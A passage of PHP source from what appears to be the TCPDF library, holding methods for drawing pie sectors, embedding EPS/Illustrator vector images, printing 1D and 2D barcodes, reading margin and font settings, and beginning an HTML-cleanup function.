of angles (0 for 3 o'clock, 90 for noon, 180 for 9 o'clock, 270 for 6 o'clock). * @param $nc (integer) Number of curves used to draw a 90 degrees portion of arc. * @author Maxime Delorme, Nicola Asuni * @since 3.1.000 (2008-06-09) * @public */ public function PieSectorXY($xc, $yc, $rx, $ry, $a, $b, $style='FD', $cw=false, $o=0, $nc=2) { if ($this->state != 2) { return; } if ($this->rtl) { $xc = ($this->w - $xc); } $op = $this->getPathPaintOperator($style); if ($op == 'f') { $line_style = array(); } if ($cw) { $d = $b; $b = (360 - $a + $o); $a = (360 - $d + $o); } else { $b += $o; $a += $o; } $this->_outellipticalarc($xc, $yc, $rx, $ry, 0, $a, $b, true, $nc); $this->_out($op); } /** * Embed vector-based Adobe Illustrator (AI) or AI-compatible EPS files. * NOTE: EPS is not yet fully implemented, use the setRasterizeVectorImages() method to enable/disable rasterization of vector images using ImageMagick library. * Only vector drawing is supported, not text or bitmap. * Although the script was successfully tested with various AI format versions, best results are probably achieved with files that were exported in the AI3 format (tested with Illustrator CS2, Freehand MX and Photoshop CS2). * @param $file (string) Name of the file containing the image or a '@' character followed by the EPS/AI data string. * @param $x (float) Abscissa of the upper-left corner. * @param $y (float) Ordinate of the upper-left corner. * @param $w (float) Width of the image in the page. If not specified or equal to zero, it is automatically calculated. * @param $h (float) Height of the image in the page. If not specified or equal to zero, it is automatically calculated. * @param $link (mixed) URL or identifier returned by AddLink(). * @param $useBoundingBox (boolean) specifies whether to position the bounding box (true) or the complete canvas (false) at location (x,y). Default value is true. * @param $align (string) Indicates the alignment of the pointer next to image insertion relative to image height. The value can be:<ul><li>T: top-right for LTR or top-left for RTL</li><li>M: middle-right for LTR or middle-left for RTL</li><li>B: bottom-right for LTR or bottom-left for RTL</li><li>N: next line</li></ul> * @param $palign (string) Allows to center or align the image on the current line. Possible values are:<ul><li>L : left align</li><li>C : center</li><li>R : right align</li><li>'' : empty string : left for LTR or right for RTL</li></ul> * @param $border (mixed) Indicates if borders must be drawn around the cell. The value can be a number:<ul><li>0: no border (default)</li><li>1: frame</li></ul> or a string containing some or all of the following characters (in any order):<ul><li>L: left</li><li>T: top</li><li>R: right</li><li>B: bottom</li></ul> or an array of line styles for each border group - for example: array('LTRB' => array('width' => 2, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0))) * @param $fitonpage (boolean) if true the image is resized to not exceed page dimensions. * @param $fixoutvals (boolean) if true remove values outside the bounding box. * @author Valentin Schmidt, Nicola Asuni * @since 3.1.000 (2008-06-09) * @public */ public function ImageEps($file, $x='', $y='', $w=0, $h=0, $link='', $useBoundingBox=true, $align='', $palign='', $border=0, $fitonpage=false, $fixoutvals=false) { if ($this->state != 2) { return; } if ($this->rasterize_vector_images AND ($w > 0) AND ($h > 0)) { // convert EPS to raster image using GD or ImageMagick libraries return $this->Image($file, $x, $y, $w, $h, 'EPS', $link, $align, true, 300, $palign, false, false, $border, false, false, $fitonpage); } if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions($h, $x, $y); $k = $this->k; if ($file{0} === '@') { // image from string $data = substr($file, 1); } else { // EPS/AI file $data = file_get_contents($file); } if ($data === false) { $this->Error('EPS file not found: '.$file); } $regs = array(); // EPS/AI compatibility check (only checks files created by Adobe Illustrator!) preg_match("/%%Creator:([^\r\n]+)/", $data, $regs); # find Creator if (count($regs) > 1) { $version_str = trim($regs[1]); # e.g. "Adobe Illustrator(R) 8.0" if (strpos($version_str, 'Adobe Illustrator') !== false) { $versexp = explode(' ', $version_str); $version = (float)array_pop($versexp); if ($version >= 9) { $this->Error('This version of Adobe Illustrator file is not supported: '.$file); } } } // strip binary bytes in front of PS-header $start = strpos($data, '%!PS-Adobe'); if ($start > 0) { $data = substr($data, $start); } // find BoundingBox params preg_match("/%%BoundingBox:([^\r\n]+)/", $data, $regs); if (count($regs) > 1) { list($x1, $y1, $x2, $y2) = explode(' ', trim($regs[1])); } else { $this->Error('No BoundingBox found in EPS/AI file: '.$file); } $start = strpos($data, '%%EndSetup'); if ($start === false) { $start = strpos($data, '%%EndProlog'); } if ($start === false) { $start = strpos($data, '%%BoundingBox'); } $data = substr($data, $start); $end = strpos($data, '%%PageTrailer'); if ($end===false) { $end = strpos($data, 'showpage'); } if ($end) { $data = substr($data, 0, $end); } // calculate image width and height on document if (($w <= 0) AND ($h <= 0)) { $w = ($x2 - $x1) / $k; $h = ($y2 - $y1) / $k; } elseif ($w <= 0) { $w = ($x2-$x1) / $k * ($h / (($y2 - $y1) / $k)); } elseif ($h <= 0) { $h = ($y2 - $y1) / $k * ($w / (($x2 - $x1) / $k)); } // fit the image on available space list($w, $h, $x, $y) = $this->fitBlock($w, $h, $x, $y, $fitonpage); if ($this->rasterize_vector_images) { // convert EPS to raster image using GD or ImageMagick libraries return $this->Image($file, $x, $y, $w, $h, 'EPS', $link, $align, true, 300, $palign, false, false, $border, false, false, $fitonpage); } // set scaling factors $scale_x = $w / (($x2 - $x1) / $k); $scale_y = $h / (($y2 - $y1) / $k); // set alignment $this->img_rb_y = $y + $h; // set alignment if ($this->rtl) { if ($palign == 'L') { $ximg = $this->lMargin; } elseif ($palign == 'C') { $ximg = ($this->w + $this->lMargin - $this->rMargin - $w) / 2; } elseif ($palign == 'R') { $ximg = $this->w - $this->rMargin - $w; } else { $ximg = $x - $w; } $this->img_rb_x = $ximg; } else { if ($palign == 'L') { $ximg = $this->lMargin; } elseif ($palign == 'C') { $ximg = ($this->w + $this->lMargin - $this->rMargin - $w) / 2; } elseif ($palign == 'R') { $ximg = $this->w - $this->rMargin - $w; } else { $ximg = $x; } $this->img_rb_x = $ximg + $w; } if ($useBoundingBox) { $dx = $ximg * $k - $x1; $dy = $y * $k - $y1; } else { $dx = $ximg * $k; $dy = $y * $k; } // save the current graphic state $this->_out('q'.$this->epsmarker); // translate $this->_out(sprintf('%F %F %F %F %F %F cm', 1, 0, 0, 1, $dx, $dy + ($this->hPt - (2 * $y * $k) - ($y2 - $y1)))); // scale if (isset($scale_x)) { $this->_out(sprintf('%F %F %F %F %F %F cm', $scale_x, 0, 0, $scale_y, $x1 * (1 - $scale_x), $y2 * (1 - $scale_y))); } // handle pc/unix/mac line endings $lines = preg_split('/[\r\n]+/si', $data, -1, PREG_SPLIT_NO_EMPTY); $u=0; $cnt = count($lines); for ($i=0; $i < $cnt; ++$i) { $line = $lines[$i]; if (($line == '') OR ($line{0} == '%')) { continue; } $len = strlen($line); // check for spot color names $color_name = ''; if (strcasecmp('x', substr(trim($line), -1)) == 0) { if (preg_match('/\([^\)]*\)/', $line, $matches) > 0) { // extract spot color name $color_name = $matches[0]; // remove color name from string $line = str_replace(' '.$color_name, '', $line); // remove pharentesis from color name $color_name = substr($color_name, 1, -1); } } $chunks = explode(' ', $line); $cmd = trim(array_pop($chunks)); // RGB if (($cmd == 'Xa') OR ($cmd == 'XA')) { $b = array_pop($chunks); $g = array_pop($chunks); $r = array_pop($chunks); $this->_out(''.$r.' '.$g.' '.$b.' '.($cmd=='Xa'?'rg':'RG')); //substr($line, 0, -2).'rg' -> in EPS (AI8): c m y k r g b rg! continue; } $skip = false; if ($fixoutvals) { // check for values outside the bounding box switch ($cmd) { case 'm': case 'l': case 'L': { // skip values outside bounding box foreach ($chunks as $key => $val) { if ((($key % 2) == 0) AND (($val < $x1) OR ($val > $x2))) { $skip = true; } elseif ((($key % 2) != 0) AND (($val < $y1) OR ($val > $y2))) { $skip = true; } } } } } switch ($cmd) { case 'm': case 'l': case 'v': case 'y': case 'c': case 'k': case 'K': case 'g': case 'G': case 's': case 'S': case 'J': case 'j': case 'w': case 'M': case 'd': case 'n': { if ($skip) { break; } $this->_out($line); break; } case 'x': {// custom fill color if (empty($color_name)) { // CMYK color list($col_c, $col_m, $col_y, $col_k) = $chunks; $this->_out(''.$col_c.' '.$col_m.' '.$col_y.' '.$col_k.' k'); } else { // Spot Color (CMYK + tint) list($col_c, $col_m, $col_y, $col_k, $col_t) = $chunks; $this->AddSpotColor($color_name, ($col_c * 100), ($col_m * 100), ($col_y * 100), ($col_k * 100)); $color_cmd = sprintf('/CS%d cs %F scn', $this->spot_colors[$color_name]['i'], (1 - $col_t)); $this->_out($color_cmd); } break; } case 'X': { // custom stroke color if (empty($color_name)) { // CMYK color list($col_c, $col_m, $col_y, $col_k) = $chunks; $this->_out(''.$col_c.' '.$col_m.' '.$col_y.' '.$col_k.' K'); } else { // Spot Color (CMYK + tint) list($col_c, $col_m, $col_y, $col_k, $col_t) = $chunks; $this->AddSpotColor($color_name, ($col_c * 100), ($col_m * 100), ($col_y * 100), ($col_k * 100)); $color_cmd = sprintf('/CS%d CS %F SCN', $this->spot_colors[$color_name]['i'], (1 - $col_t)); $this->_out($color_cmd); } break; } case 'Y': case 'N': case 'V': case 'L': case 'C': { if ($skip) { break; } $line[($len - 1)] = strtolower($cmd); $this->_out($line); break; } case 'b': case 'B': { $this->_out($cmd . '*'); break; } case 'f': case 'F': { if ($u > 0) { $isU = false; $max = min(($i + 5), $cnt); for ($j = ($i + 1); $j < $max; ++$j) { $isU = ($isU OR (($lines[$j] == 'U') OR ($lines[$j] == '*U'))); } if ($isU) { $this->_out('f*'); } } else { $this->_out('f*'); } break; } case '*u': { ++$u; break; } case '*U': { --$u; break; } } } // restore previous graphic state $this->_out($this->epsmarker.'Q'); if (!empty($border)) { $bx = $this->x; $by = $this->y; $this->x = $ximg; if ($this->rtl) { $this->x += $w; } $this->y = $y; $this->Cell($w, $h, '', $border, 0, '', 0, '', 0, true); $this->x = $bx; $this->y = $by; } if ($link) { $this->Link($ximg, $y, $w, $h, $link, 0); } // set pointer to align the next text/objects switch($align) { case 'T':{ $this->y = $y; $this->x = $this->img_rb_x; break; } case 'M':{ $this->y = $y + round($h/2); $this->x = $this->img_rb_x; break; } case 'B':{ $this->y = $this->img_rb_y; $this->x = $this->img_rb_x; break; } case 'N':{ $this->SetY($this->img_rb_y); break; } default:{ break; } } $this->endlinex = $this->img_rb_x; } /** * Set document barcode. * @param $bc (string) barcode * @public */ public function setBarcode($bc='') { $this->barcode = $bc; } /** * Get current barcode. * @return string * @public * @since 4.0.012 (2008-07-24) */ public function getBarcode() { return $this->barcode; } /** * Print a Linear Barcode. * @param $code (string) code to print * @param $type (string) type of barcode (see barcodes.php for supported formats). * @param $x (int) x position in user units (empty string = current x position) * @param $y (int) y position in user units (empty string = current y position) * @param $w (int) width in user units (empty string = remaining page width) * @param $h (int) height in user units (empty string = remaining page height) * @param $xres (float) width of the smallest bar in user units (empty string = default value = 0.4mm) * @param $style (array) array of options:<ul> * <li>boolean $style['border'] if true prints a border</li> * <li>int $style['padding'] padding to leave around the barcode in user units (set to 'auto' for automatic padding)</li> * <li>int $style['hpadding'] horizontal padding in user units (set to 'auto' for automatic padding)</li> * <li>int $style['vpadding'] vertical padding in user units (set to 'auto' for automatic padding)</li> * <li>array $style['fgcolor'] color array for bars and text</li> * <li>mixed $style['bgcolor'] color array for background (set to false for transparent)</li> * <li>boolean $style['text'] if true prints text below the barcode</li> * <li>string $style['label'] override default label</li> * <li>string $style['font'] font name for text</li><li>int $style['fontsize'] font size for text</li> * <li>int $style['stretchtext']: 0 = disabled; 1 = horizontal scaling only if necessary; 2 = forced horizontal scaling; 3 = character spacing only if necessary; 4 = forced character spacing.</li> * <li>string $style['position'] horizontal position of the containing barcode cell on the page: L = left margin; C = center; R = right margin.</li> * <li>string $style['align'] horizontal position of the barcode on the containing rectangle: L = left; C = center; R = right.</li> * <li>string $style['stretch'] if true stretch the barcode to best fit the available width, otherwise uses $xres resolution for a single bar.</li> * <li>string $style['fitwidth'] if true reduce the width to fit the barcode width + padding. When this option is enabled the 'stretch' option is automatically disabled.</li> * <li>string $style['cellfitalign'] this option works only when 'fitwidth' is true and 'position' is unset or empty. Set the horizontal position of the containing barcode cell inside the specified rectangle: L = left; C = center; R = right.</li></ul> * @param $align (string) Indicates the alignment of the pointer next to barcode insertion relative to barcode height. The value can be:<ul><li>T: top-right for LTR or top-left for RTL</li><li>M: middle-right for LTR or middle-left for RTL</li><li>B: bottom-right for LTR or bottom-left for RTL</li><li>N: next line</li></ul> * @author Nicola Asuni * @since 3.1.000 (2008-06-09) * @public */ public function write1DBarcode($code, $type, $x='', $y='', $w='', $h='', $xres='', $style='', $align='') { if ($this->empty_string(trim($code))) { return; } require_once(dirname(__FILE__).'/barcodes.php'); // save current graphic settings $gvars = $this->getGraphicVars(); // create new barcode object $barcodeobj = new TCPDFBarcode($code, $type); $arrcode = $barcodeobj->getBarcodeArray(); if (($arrcode === false) OR empty($arrcode) OR ($arrcode['maxw'] == 0)) { $this->Error('Error in 1D barcode string'); } // set default values if (!isset($style['position'])) { $style['position'] = ''; } elseif ($style['position'] == 'S') { // keep this for backward compatibility $style['position'] = ''; $style['stretch'] = true; } if (!isset($style['fitwidth'])) { if (!isset($style['stretch'])) { $style['fitwidth'] = true; } else { $style['fitwidth'] = false; } } if ($style['fitwidth']) { // disable stretch $style['stretch'] = false; } if (!isset($style['stretch'])) { if (($w === '') OR ($w <= 0)) { $style['stretch'] = false; } else { $style['stretch'] = true; } } if (!isset($style['fgcolor'])) { $style['fgcolor'] = array(0,0,0); // default black } if (!isset($style['bgcolor'])) { $style['bgcolor'] = false; // default transparent } if (!isset($style['border'])) { $style['border'] = false; } $fontsize = 0; if (!isset($style['text'])) { $style['text'] = false; } if ($style['text'] AND isset($style['font'])) { if (isset($style['fontsize'])) { $fontsize = $style['fontsize']; } $this->SetFont($style['font'], '', $fontsize); } if (!isset($style['stretchtext'])) { $style['stretchtext'] = 4; } if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions($h, $x, $y); if (($w === '') OR ($w <= 0)) { if ($this->rtl) { $w = $x - $this->lMargin; } else { $w = $this->w - $this->rMargin - $x; } } // padding if (!isset($style['padding'])) { $padding = 0; } elseif ($style['padding'] === 'auto') { $padding = 10 * ($w / ($arrcode['maxw'] + 20)); } else { $padding = floatval($style['padding']); } // horizontal padding if (!isset($style['hpadding'])) { $hpadding = $padding; } elseif ($style['hpadding'] === 'auto') { $hpadding = 10 * ($w / ($arrcode['maxw'] + 20)); } else { $hpadding = floatval($style['hpadding']); } // vertical padding if (!isset($style['vpadding'])) { $vpadding = $padding; } elseif ($style['vpadding'] === 'auto') { $vpadding = ($hpadding / 2); } else { $vpadding = floatval($style['vpadding']); } // calculate xres (single bar width) $max_xres = ($w - (2 * $hpadding)) / $arrcode['maxw']; if ($style['stretch']) { $xres = $max_xres; } else { if ($this->empty_string($xres)) { $xres = (0.141 * $this->k); // default bar width = 0.4 mm } if ($xres > $max_xres) { // correct xres to fit on $w $xres = $max_xres; } if ((isset($style['padding']) AND ($style['padding'] === 'auto')) OR (isset($style['hpadding']) AND ($style['hpadding'] === 'auto'))) { $hpadding = 10 * $xres; if (isset($style['vpadding']) AND ($style['vpadding'] === 'auto')) { $vpadding = ($hpadding / 2); } } } if ($style['fitwidth']) { $wold = $w; $w = (($arrcode['maxw'] * $xres) + (2 * $hpadding)); if (isset($style['cellfitalign'])) { switch ($style['cellfitalign']) { case 'L': { if ($this->rtl) { $x -= ($wold - $w); } break; } case 'R': { if (!$this->rtl) { $x += ($wold - $w); } break; } case 'C': { if ($this->rtl) { $x -= (($wold - $w) / 2); } else { $x += (($wold - $w) / 2); } break; } default : { break; } } } } $text_height = ($this->cell_height_ratio * $fontsize / $this->k); // height if (($h === '') OR ($h <= 0)) { // set default height $h = (($arrcode['maxw'] * $xres) / 3) + (2 * $vpadding) + $text_height; } $barh = $h - $text_height - (2 * $vpadding); if ($barh <=0) { // try to reduce font or padding to fit barcode on available height if ($text_height > $h) { $fontsize = (($h * $this->k) / (4 * $this->cell_height_ratio)); $text_height = ($this->cell_height_ratio * $fontsize / $this->k); $this->SetFont($style['font'], '', $fontsize); } if ($vpadding > 0) { $vpadding = (($h - $text_height) / 4); } $barh = $h - $text_height - (2 * $vpadding); } // fit the barcode on available space list($w, $h, $x, $y) = $this->fitBlock($w, $h, $x, $y, false); // set alignment $this->img_rb_y = $y + $h; // set alignment if ($this->rtl) { if ($style['position'] == 'L') { $xpos = $this->lMargin; } elseif ($style['position'] == 'C') { $xpos = ($this->w + $this->lMargin - $this->rMargin - $w) / 2; } elseif ($style['position'] == 'R') { $xpos = $this->w - $this->rMargin - $w; } else { $xpos = $x - $w; } $this->img_rb_x = $xpos; } else { if ($style['position'] == 'L') { $xpos = $this->lMargin; } elseif ($style['position'] == 'C') { $xpos = ($this->w + $this->lMargin - $this->rMargin - $w) / 2; } elseif ($style['position'] == 'R') { $xpos = $this->w - $this->rMargin - $w; } else { $xpos = $x; } $this->img_rb_x = $xpos + $w; } $xpos_rect = $xpos; if (!isset($style['align'])) { $style['align'] = 'C'; } switch ($style['align']) { case 'L': { $xpos = $xpos_rect + $hpadding; break; } case 'R': { $xpos = $xpos_rect + ($w - ($arrcode['maxw'] * $xres)) - $hpadding; break; } case 'C': default : { $xpos = $xpos_rect + (($w - ($arrcode['maxw'] * $xres)) / 2); break; } } $xpos_text = $xpos; // barcode is always printed in LTR direction $tempRTL = $this->rtl; $this->rtl = false; // print background color if ($style['bgcolor']) { $this->Rect($xpos_rect, $y, $w, $h, $style['border'] ? 'DF' : 'F', '', $style['bgcolor']); } elseif ($style['border']) { $this->Rect($xpos_rect, $y, $w, $h, 'D'); } // set foreground color $this->SetDrawColorArray($style['fgcolor']); $this->SetTextColorArray($style['fgcolor']); // print bars foreach ($arrcode['bcode'] as $k => $v) { $bw = ($v['w'] * $xres); if ($v['t']) { // draw a vertical bar $ypos = $y + $vpadding + ($v['p'] * $barh / $arrcode['maxh']); $this->Rect($xpos, $ypos, $bw, ($v['h'] * $barh / $arrcode['maxh']), 'F', array(), $style['fgcolor']); } $xpos += $bw; } // print text if ($style['text']) { if (isset($style['label']) AND !$this->empty_string($style['label'])) { $label = $style['label']; } else { $label = $code; } $txtwidth = ($arrcode['maxw'] * $xres); if ($this->GetStringWidth($label) > $txtwidth) { $style['stretchtext'] = 2; } // print text $this->x = $xpos_text; $this->y = $y + $vpadding + $barh; $cellpadding = $this->cell_padding; $this->SetCellPadding(0); $this->Cell($txtwidth, '', $label, 0, 0, 'C', false, '', $style['stretchtext'], false, 'T', 'T'); $this->cell_padding = $cellpadding; } // restore original direction $this->rtl = $tempRTL; // restore previous settings $this->setGraphicVars($gvars); // set pointer to align the next text/objects switch($align) { case 'T':{ $this->y = $y; $this->x = $this->img_rb_x; break; } case 'M':{ $this->y = $y + round($h / 2); $this->x = $this->img_rb_x; break; } case 'B':{ $this->y = $this->img_rb_y; $this->x = $this->img_rb_x; break; } case 'N':{ $this->SetY($this->img_rb_y); break; } default:{ break; } } $this->endlinex = $this->img_rb_x; } /** * This function is DEPRECATED, please use the new write1DBarcode() function. * @param $x (int) x position in user units * @param $y (int) y position in user units * @param $w (int) width in user units * @param $h (int) height position in user units * @param $type (string) type of barcode * @param $style (string) barcode style * @param $font (string) font for text * @param $xres (int) x resolution * @param $code (string) code to print * @deprecated deprecated since version 3.1.000 (2008-06-10) * @public * @see write1DBarcode() */ public function writeBarcode($x, $y, $w, $h, $type, $style, $font, $xres, $code) { // convert old settings for the new write1DBarcode() function. $xres = 1 / $xres; $newstyle = array( 'position' => '', 'align' => '', 'stretch' => false, 'fitwidth' => false, 'cellfitalign' => '', 'border' => false, 'padding' => 0, 'fgcolor' => array(0,0,0), 'bgcolor' => false, 'text' => true, 'font' => $font, 'fontsize' => 8, 'stretchtext' => 4 ); if ($style & 1) { $newstyle['border'] = true; } if ($style & 2) { $newstyle['bgcolor'] = false; } if ($style & 4) { $newstyle['position'] = 'C'; } elseif ($style & 8) { $newstyle['position'] = 'L'; } elseif ($style & 16) { $newstyle['position'] = 'R'; } if ($style & 128) { $newstyle['text'] = true; } if ($style & 256) { $newstyle['stretchtext'] = 4; } $this->write1DBarcode($code, $type, $x, $y, $w, $h, $xres, $newstyle, ''); } /** * Print 2D Barcode. * @param $code (string) code to print * @param $type (string) type of barcode (see 2dbarcodes.php for supported formats). * @param $x (int) x position in user units * @param $y (int) y position in user units * @param $w (int) width in user units * @param $h (int) height in user units * @param $style (array) array of options:<ul> * <li>boolean $style['border'] if true prints a border around the barcode</li> * <li>int $style['padding'] padding to leave around the barcode in barcode units (set to 'auto' for automatic padding)</li> * <li>int $style['hpadding'] horizontal padding in barcode units (set to 'auto' for automatic padding)</li> * <li>int $style['vpadding'] vertical padding in barcode units (set to 'auto' for automatic padding)</li> * <li>int $style['module_width'] width of a single module in points</li> * <li>int $style['module_height'] height of a single module in points</li> * <li>array $style['fgcolor'] color array for bars and text</li> * <li>mixed $style['bgcolor'] color array for background or false for transparent</li> * <li>string $style['position'] barcode position on the page: L = left margin; C = center; R = right margin; S = stretch</li><li>$style['module_width'] width of a single module in points</li> * <li>$style['module_height'] height of a single module in points</li></ul> * @param $align (string) Indicates the alignment of the pointer next to barcode insertion relative to barcode height. The value can be:<ul><li>T: top-right for LTR or top-left for RTL</li><li>M: middle-right for LTR or middle-left for RTL</li><li>B: bottom-right for LTR or bottom-left for RTL</li><li>N: next line</li></ul> * @param $distort (boolean) if true distort the barcode to fit width and height, otherwise preserve aspect ratio * @author Nicola Asuni * @since 4.5.037 (2009-04-07) * @public */ public function write2DBarcode($code, $type, $x='', $y='', $w='', $h='', $style='', $align='', $distort=false) { if ($this->empty_string(trim($code))) { return; } require_once(dirname(__FILE__).'/2dbarcodes.php'); // save current graphic settings $gvars = $this->getGraphicVars(); // create new barcode object $barcodeobj = new TCPDF2DBarcode($code, $type); $arrcode = $barcodeobj->getBarcodeArray(); if (($arrcode === false) OR empty($arrcode) OR !isset($arrcode['num_rows']) OR ($arrcode['num_rows'] == 0) OR !isset($arrcode['num_cols']) OR ($arrcode['num_cols'] == 0)) { $this->Error('Error in 2D barcode string'); } // set default values if (!isset($style['position'])) { $style['position'] = ''; } if (!isset($style['fgcolor'])) { $style['fgcolor'] = array(0,0,0); // default black } if (!isset($style['bgcolor'])) { $style['bgcolor'] = false; // default transparent } if (!isset($style['border'])) { $style['border'] = false; } // padding if (!isset($style['padding'])) { $style['padding'] = 0; } elseif ($style['padding'] === 'auto') { $style['padding'] = 4; } if (!isset($style['hpadding'])) { $style['hpadding'] = $style['padding']; } elseif ($style['hpadding'] === 'auto') { $style['hpadding'] = 4; } if (!isset($style['vpadding'])) { $style['vpadding'] = $style['padding']; } elseif ($style['vpadding'] === 'auto') { $style['vpadding'] = 4; } $hpad = (2 * $style['hpadding']); $vpad = (2 * $style['vpadding']); // cell (module) dimension if (!isset($style['module_width'])) { $style['module_width'] = 1; // width of a single module in points } if (!isset($style['module_height'])) { $style['module_height'] = 1; // height of a single module in points } if ($x === '') { $x = $this->x; } if ($y === '') { $y = $this->y; } // check page for no-write regions and adapt page margins if necessary list($x, $y) = $this->checkPageRegions($h, $x, $y); // number of barcode columns and rows $rows = $arrcode['num_rows']; $cols = $arrcode['num_cols']; // module width and height $mw = $style['module_width']; $mh = $style['module_height']; if (($mw == 0) OR ($mh == 0)) { $this->Error('Error in 2D barcode string'); } // get max dimensions if ($this->rtl) { $maxw = $x - $this->lMargin; } else { $maxw = $this->w - $this->rMargin - $x; } $maxh = ($this->h - $this->tMargin - $this->bMargin); $ratioHW = ((($rows * $mh) + $hpad) / (($cols * $mw) + $vpad)); $ratioWH = ((($cols * $mw) + $vpad) / (($rows * $mh) + $hpad)); if (!$distort) { if (($maxw * $ratioHW) > $maxh) { $maxw = $maxh * $ratioWH; } if (($maxh * $ratioWH) > $maxw) { $maxh = $maxw * $ratioHW; } } // set maximum dimesions if ($w > $maxw) { $w = $maxw; } if ($h > $maxh) { $h = $maxh; } // set dimensions if ((($w === '') OR ($w <= 0)) AND (($h === '') OR ($h <= 0))) { $w = ($cols + $hpad) * ($mw / $this->k); $h = ($rows + $vpad) * ($mh / $this->k); } elseif (($w === '') OR ($w <= 0)) { $w = $h * $ratioWH; } elseif (($h === '') OR ($h <= 0)) { $h = $w * $ratioHW; } // barcode size (excluding padding) $bw = ($w * $cols) / ($cols + $hpad); $bh = ($h * $rows) / ($rows + $vpad); // dimension of single barcode cell unit $cw = $bw / $cols; $ch = $bh / $rows; if (!$distort) { if (($cw / $ch) > ($mw / $mh)) { // correct horizontal distortion $cw = $ch * $mw / $mh; $bw = $cw * $cols; $style['hpadding'] = ($w - $bw) / (2 * $cw); } else { // correct vertical distortion $ch = $cw * $mh / $mw; $bh = $ch * $rows; $style['vpadding'] = ($h - $bh) / (2 * $ch); } } // fit the barcode on available space list($w, $h, $x, $y) = $this->fitBlock($w, $h, $x, $y, false); // set alignment $this->img_rb_y = $y + $h; // set alignment if ($this->rtl) { if ($style['position'] == 'L') { $xpos = $this->lMargin; } elseif ($style['position'] == 'C') { $xpos = ($this->w + $this->lMargin - $this->rMargin - $w) / 2; } elseif ($style['position'] == 'R') { $xpos = $this->w - $this->rMargin - $w; } else { $xpos = $x - $w; } $this->img_rb_x = $xpos; } else { if ($style['position'] == 'L') { $xpos = $this->lMargin; } elseif ($style['position'] == 'C') { $xpos = ($this->w + $this->lMargin - $this->rMargin - $w) / 2; } elseif ($style['position'] == 'R') { $xpos = $this->w - $this->rMargin - $w; } else { $xpos = $x; } $this->img_rb_x = $xpos + $w; } $xstart = $xpos + ($style['hpadding'] * $cw); $ystart = $y + ($style['vpadding'] * $ch); // barcode is always printed in LTR direction $tempRTL = $this->rtl; $this->rtl = false; // print background color if ($style['bgcolor']) { $this->Rect($xpos, $y, $w, $h, $style['border'] ? 'DF' : 'F', '', $style['bgcolor']); } elseif ($style['border']) { $this->Rect($xpos, $y, $w, $h, 'D'); } // set foreground color $this->SetDrawColorArray($style['fgcolor']); // print barcode cells // for each row for ($r = 0; $r < $rows; ++$r) { $xr = $xstart; // for each column for ($c = 0; $c < $cols; ++$c) { if ($arrcode['bcode'][$r][$c] == 1) { // draw a single barcode cell $this->Rect($xr, $ystart, $cw, $ch, 'F', array(), $style['fgcolor']); } $xr += $cw; } $ystart += $ch; } // restore original direction $this->rtl = $tempRTL; // restore previous settings $this->setGraphicVars($gvars); // set pointer to align the next text/objects switch($align) { case 'T':{ $this->y = $y; $this->x = $this->img_rb_x; break; } case 'M':{ $this->y = $y + round($h/2); $this->x = $this->img_rb_x; break; } case 'B':{ $this->y = $this->img_rb_y; $this->x = $this->img_rb_x; break; } case 'N':{ $this->SetY($this->img_rb_y); break; } default:{ break; } } $this->endlinex = $this->img_rb_x; } /** * Returns an array containing current margins: * <ul> <li>$ret['left'] = left margin</li> <li>$ret['right'] = right margin</li> <li>$ret['top'] = top margin</li> <li>$ret['bottom'] = bottom margin</li> <li>$ret['header'] = header margin</li> <li>$ret['footer'] = footer margin</li> <li>$ret['cell'] = cell padding array</li> <li>$ret['padding_left'] = cell left padding</li> <li>$ret['padding_top'] = cell top padding</li> <li>$ret['padding_right'] = cell right padding</li> <li>$ret['padding_bottom'] = cell bottom padding</li> * </ul> * @return array containing all margins measures * @public * @since 3.2.000 (2008-06-23) */ public function getMargins() { $ret = array( 'left' => $this->lMargin, 'right' => $this->rMargin, 'top' => $this->tMargin, 'bottom' => $this->bMargin, 'header' => $this->header_margin, 'footer' => $this->footer_margin, 'cell' => $this->cell_padding, 'padding_left' => $this->cell_padding['L'], 'padding_top' => $this->cell_padding['T'], 'padding_right' => $this->cell_padding['R'], 'padding_bottom' => $this->cell_padding['B'] ); return $ret; } /** * Returns an array containing original margins: * <ul> <li>$ret['left'] = left margin</li> <li>$ret['right'] = right margin</li> * </ul> * @return array containing all margins measures * @public * @since 4.0.012 (2008-07-24) */ public function getOriginalMargins() { $ret = array( 'left' => $this->original_lMargin, 'right' => $this->original_rMargin ); return $ret; } /** * Returns the current font size. * @return current font size * @public * @since 3.2.000 (2008-06-23) */ public function getFontSize() { return $this->FontSize; } /** * Returns the current font size in points unit. * @return current font size in points unit * @public * @since 3.2.000 (2008-06-23) */ public function getFontSizePt() { return $this->FontSizePt; } /** * Returns the current font family name. * @return string current font family name * @public * @since 4.3.008 (2008-12-05) */ public function getFontFamily() { return $this->FontFamily; } /** * Returns the current font style. * @return string current font style * @public * @since 4.3.008 (2008-12-05) */ public function getFontStyle() { return $this->FontStyle; } /** * Cleanup HTML code (requires HTML Tidy library). * @param $html (string) htmlcode to fix * @param $default_css (string) CSS commands to add * @param $tagvs (array) parameters for setHtmlVSpace method * @param $tidy_options (array) options for tidy_parse_string function * @return string XHTML code cleaned up * @author Nicola Asuni * @public * @since 5.9.017 (2010-11-16) * @see setHtmlVSpace() */ public function fixHTMLCode($html, $default_css='', $tagvs='', $tidy_options='') { // configure parameters for HTML Tidy if ($tidy_options === '') { $tidy_options = array ( 'clean' => 1, 'drop-empty-paras' => 0, 'drop-proprietary-attributes' => 1, 'fix-backslash' => 1, 'hide-comments' => 1, 'join-styles' => 1, 'lower-literals' => 1, 'merge-divs' => 1, 'merge-spans' => 1, 'output-xhtml' => 1, 'word-2000' => 1, 'wrap' => 0, 'output-bom' => 0, //'char-encoding' => 'utf8', //'input-encoding' => 'utf8', //'output-encoding' => 'utf8' ); } // clean up the HTML code $tidy = tidy_parse_string($html, $tidy_options); // fix the HTML $tidy->cleanRepair(); // get the CSS part $tidy_head = tidy_get_head($tidy); $css = $tidy_head->value; $css = preg_replace('/<style([^>]+)>/ims', '<style>', $css); $css = preg_replace('/<\/style>(.*)<style>/ims', "\n", $css); $css = str_replace('/*<![CDATA[*/', '', $css); $css = str_replace('/*]]>*/', '', $css); preg_match('/<style>(.*)<\/style>/ims', $css, $matches); if 